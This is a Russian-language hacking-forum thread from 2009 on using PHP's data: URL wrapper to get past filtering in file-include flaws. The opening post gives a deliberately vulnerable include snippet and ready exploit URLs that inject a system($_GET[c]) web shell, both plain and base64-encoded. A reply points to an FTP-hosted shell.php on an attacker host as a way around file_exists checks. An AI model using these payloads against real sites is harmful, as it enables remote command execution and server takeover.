Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Self-contained File Include в PHP (https://forum.antichat.xyz/showthread.php?t=106780)

cr0w 18.02.2009 11:56

Self-contained File Include в PHP
 
Начиная с версии 5.2.0, PHP поддерживает "data" URL scheme (http://ru.php.net/manual/ru/wrappers.data.php), что иногда можно использовать для обхода некоторой фильтрации при RFI.

Например, мы имеем код:
Код:

<?

// Фильтруется возможность перехода в другие дириктории
// и возможность вписать URL:

$dir = str_replace('/', '', $dir);
$dir = str_replace('.', '', $dir);

if (include($dir . '/lala/file.php'))
{
        echo 'Heck!';
}
else
{
        echo 'Error!';
}

?>

Для эксплуатации требуется:
Код:

PHP Version => 5.2.0
allow_url_include = On

Эксплоит:
Код:

http://site.ru/index2.php?dir=data:,<?php system($_GET[c]); ?>?&c=dir
Код шелла можно кодировать в Base64, подобрав его таким образом, чтобы в результате он не содержал символов '/', '+'.

<?php system($_GET[c]); ?>
кодируется в
PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=

Эксплоит:
Код:

http://site.ru/index2.php?dir=data:;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir
[*] Не нужно заливать файл на сторонний сервер как при обычном RFI.
[+] Можно обойти фильтрацию некоторых символов.
[-] Не обходит file_exist().

brain[pillow] 18.02.2009 15:28

Просто отлично! Минус "Не обходит file_exist()" при этой версии PHP устраняется путём уже известного трюка "ftp://greatxek:bugogo@zlo.com/shell.php"

попугай 19.02.2009 03:03

Что то я не понял в чем прикол...

<?php system($_GET[c]); ?>

выполниться чтоли в таком случае? Почему так?

работает только при инклюде? при простых file(), file_get_contents() и readfile() не имеет смысла?

S1ash 19.02.2009 21:24

Цитата:

Сообщение от brain[pillow]
Просто отлично! Минус "Не обходит file_exist()" при этой версии PHP устраняется путём уже известного трюка "ftp://greatxek:bugogo@zlo.com/shell.php"

эт что за трюк такой?

.Slip 19.02.2009 21:28

Цитата:

Сообщение от S1ash
эт что за трюк такой?

https://forum.antichat.ru/showthread.php?p=1037023#post1037023
=\

cr0w 19.02.2009 23:01

Цитата:

Сообщение от brain[pillow]
Минус "Не обходит file_exist()" при этой версии PHP устраняется путём уже известного трюка "ftp://greatxek:bugogo@zlo.com/shell.php"

Собственно, с этим способом и сравнивалось. В трюке с фтп ведь отсутствует тот "+", что есть в предложенном способе. (:


Время: 00:59